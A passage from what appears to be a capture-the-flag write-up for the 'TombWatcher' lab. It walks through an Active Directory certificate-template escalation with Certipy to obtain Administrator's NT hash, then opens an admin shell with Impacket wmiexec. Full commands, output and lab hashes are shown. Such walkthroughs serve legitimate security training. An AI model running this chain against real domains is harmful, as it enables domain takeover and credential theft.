Certipy needs to be at least on version 5.0.2 to identify this escalation.To learn how to abuse this escalation, we can visit Certipy’s wiki, or also take a look to this blog. Both are good resources. The first step is to inject Certificate Request Agent Application Policy to the vulnerable template WebServer whose CA is tombwatcher-CA-1:
❯ certipy req -u 'cert_admin@corp.local' -hashes ':f87ebf0febd9c4095c68a88928755773' -dc-ip 10.129.205.50 -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'WebServer' -application-policies 'Certificate Request Agent'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 5
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'cert_admin.pfx'
[*] Wrote certificate and private key to 'cert_admin.pfx'
This generates a cert_admin.pfx file.
Use this .pfx file to request User template on behalf of Administrator user:
❯ certipy req -u 'cert_admin@tombwatcher.htb' -hashes ':f87ebf0febd9c4095c68a88928755773' -dc-ip 10.129.205.50 -target 'DC01.tombwatcher.htb' -ca 'tombwatcher-CA-1' -template 'User' -pfx cert_admin.pfx -on-behalf-of 'TOMBWATCHER\Administrator'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 6
[*] Successfully requested certificate
[*] Got certificate with UPN 'Administrator@tombwatcher.htb'
[*] Certificate object SID is 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
This generates an administrator.pfx (certificate) file.
Finally, use Certipy and the generated administrator.pfx file to request the NTLM hash for Administrator user (using faketime to avoid clock problems):
❯ faketime "$(ntpdate -q tombwatcher.htb | cut -d ' ' -f 1,2)" certipy auth -pfx administrator.pfx -dc-ip 10.129.205.50
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'Administrator@tombwatcher.htb'
[*] Security Extension SID: 'S-1-5-21-1392491010-1358638721-2126982587-500'
[*] Using principal: 'administrator@tombwatcher.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@tombwatcher.htb': aad3b435b51404eeaad3b435b51404ee:f61db423bebe3328d33af26741afe5fc
GG. We get the NTLM hash for Administrator user.
Finally, use a tool such as wmiexec.py from Impacket to get a shell in the victim machine as Administrator user:
❯ impacket-wmiexec tombwatcher.htb/administrator@DC01.tombwatcher.htb -hashes ':f61db423bebe3328d33af26741afe5fc'
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
tombwatcher\administrator
We can grab the root flag at Administrator’s Desktop.
~Happy Hacking.